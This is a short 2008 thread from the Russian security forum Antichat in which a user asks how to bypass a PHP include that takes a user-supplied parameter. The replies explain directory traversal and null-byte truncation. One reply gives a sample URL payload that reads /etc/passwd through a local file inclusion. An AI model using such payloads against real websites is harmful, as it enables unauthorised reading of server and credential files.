ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

Можно ли обойти такой "фильтр"?
  #1  
Старый 22.08.2008, 17:27
Аватар для n0mie
n0mie
Новичок
Регистрация: 28.05.2008
Сообщений: 6
Провел на форуме:
96880

Репутация: 0
Question Можно ли обойти такой "фильтр"?

В коде сайта есть такая конструкция:
PHP код:
        if (file_exists('folder/' $USER['param1'] . '.php'))
        {
             require 
"folder/{$USER['param1']}.php";
        } 
соответственно $USER['param1'] я могу задать любой.

Возможно ли обойти ограничение и сделать
локальный инклуд, например, для "/file1.txt"?
 

  #2  
Старый 22.08.2008, 19:49
Аватар для А®ТеS
А®ТеS
Участник форума
Регистрация: 25.11.2006
Сообщений: 291
Провел на форуме:
1537850

Репутация: 536
Отправить сообщение для А®ТеS с помощью ICQ
По умолчанию

Выход ни директорию вверх можно сделать путем добавления в параметр ".." (без кавычек). Отрубить расширение php можно нулевым байтом (%00), что, впрочем, далеко не всегда проканывает. Ну, если идеальная ситуация, то так:
param1=../file.txt%00 (если параметр через GET запрос получает скрипт)
или, если в php коде, то:
PHP код:
$USER['param1'] = "../file.txt".chr(0); 
 

  #3  
Старый 23.08.2008, 13:51
Аватар для zer0ska
zer0ska
Участник форума
Регистрация: 05.12.2007
Сообщений: 113
Провел на форуме:
252598

Репутация: 34
По умолчанию

да легко
примерно так
это при включенном registr global
http://sasasas.com/scipt.php?USER[param1]=../../../../../../../../../../../../../etc/passwd%00
 

  #4  
Старый 23.08.2008, 23:29
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Цитата:
Сообщение от zer0ska  
да легко
примерно так
это при включенном registr global
http://sasasas.com/scipt.php?USER[param1]=../../../../../../../../../../../../../etc/passwd%00
Легко это если только мейджик квотс = офф, т.к. иначе это не прокатит.

P.S. вообще для вопросов есть спец тема и задавать вопросы нужно в ней, а не создавать новую тему.
P.P.S. закрыто.
 
Закрытая тема



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Блокировка анонимных прокси на форуме, как можно обойти? merunq Форумы 6 14.02.2007 10:14
Основы Phreaking'а silveran Телефония и связь 0 13.07.2005 13:33
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ